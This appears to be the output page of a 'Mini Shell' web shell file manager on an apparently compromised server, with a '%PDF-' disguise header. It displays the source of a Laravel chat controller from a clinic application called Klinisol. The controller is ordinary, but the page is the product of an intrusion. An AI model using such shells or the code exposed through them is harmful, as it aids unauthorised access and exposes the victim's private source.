%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/klinisol/klinisol-api/app/Http/Controllers/Api/v1/
Upload File :
Create Path :
Current File : /var/www/html/klinisol/klinisol-api/app/Http/Controllers/Api/v1/ChatController.php

<?php

namespace App\Http\Controllers\Api\v1;

use App\Http\Controllers\Api\ApiController;
use App\Http\Requests\Api\v1\Twilio\GenerateAccessTokenRequest;
use App\Models\ChatRoom;
use App\Models\User;
use App\Services\KlinisolChat;
use App\Transformers\App\ChatRoomTransformer;
use Carbon\Carbon;
use Illuminate\Http\Request;

class ChatController extends ApiController
{
    public function index(Request $request)
    {
        $chatRooms = ChatRoom::query()
                             ->where('status', ChatRoom::STARTED)
                             ->paginate($request->get('perPage'));
        return $this->withPaginated($chatRooms, new ChatRoomTransformer());
    }

    public function generateAccessToken(GenerateAccessTokenRequest $request)
    {
        $room = $request->get('room');
        /** @var User $user */
        $user = auth()
            ->guard('api')
            ->user();
        $res = KlinisolChat::generateToken($user, $room);
        /** @var ChatRoom $chat */
        $chat = ChatRoom::query()
                        ->where('name', $room)
                        ->where('status', '=', ChatRoom::STARTED)
                        ->firstOrFail();
        $chat->user_id = $user->id;
        $chat->status = ChatRoom::IN_PROGRESS;
        $chat->save();
        return response()->json([
            'identity'  => $res['identity'],
            'token'     => $res['token'],
            'has_video' => $chat->has_video,
        ], 200);
    }

    public function videoWebhook(Request $request)
    {
        $roomStatus = $request->get("RoomStatus");
        if ($roomStatus === "completed") {
            $roomSid = $request->get("RoomSid");
            $chat = ChatRoom::query()
                            ->where('sid', $roomSid)
                            ->firstOrFail();
            $chat->finished_at = Carbon::now();
            $chat->status = ChatRoom::FINISHED;
            $chat->save();
        }
        return response()->json([], 200);
    }
}

Zerion Mini Shell 1.0